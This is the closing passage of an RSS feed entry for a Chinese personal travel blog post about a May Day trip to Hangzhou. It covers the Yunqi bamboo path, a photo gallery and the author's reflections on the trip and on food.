&lt;li&gt;云栖竹径是一片很大的竹林，推荐宜宾的竹海——更大的一片竹林；初三有幸去玩过，累的够呛&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::div{.travel-gallery data-count=&quot;2&quot;}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0501-1.webp&quot; alt=&quot;九溪烟树与云栖竹径照片 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/0501-5.webp&quot; alt=&quot;九溪烟树与云栖竹径照片 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;写在后面&lt;/h1&gt;
&lt;p&gt;写这篇文章，一是想梳理一下五一的行程、给自己留个回忆，毕竟跑得挺累的；二是这个站点之前没有尝试过在文章里面添加图片；意外的收获是整理了手机相册。&lt;strong&gt;另外，蟹黄面和江南糖水真的很好吃&lt;/strong&gt;&lt;br /&gt;
以后还想去拉萨、香格里拉……&lt;/p&gt;
</content:encoded></item></channel></rss>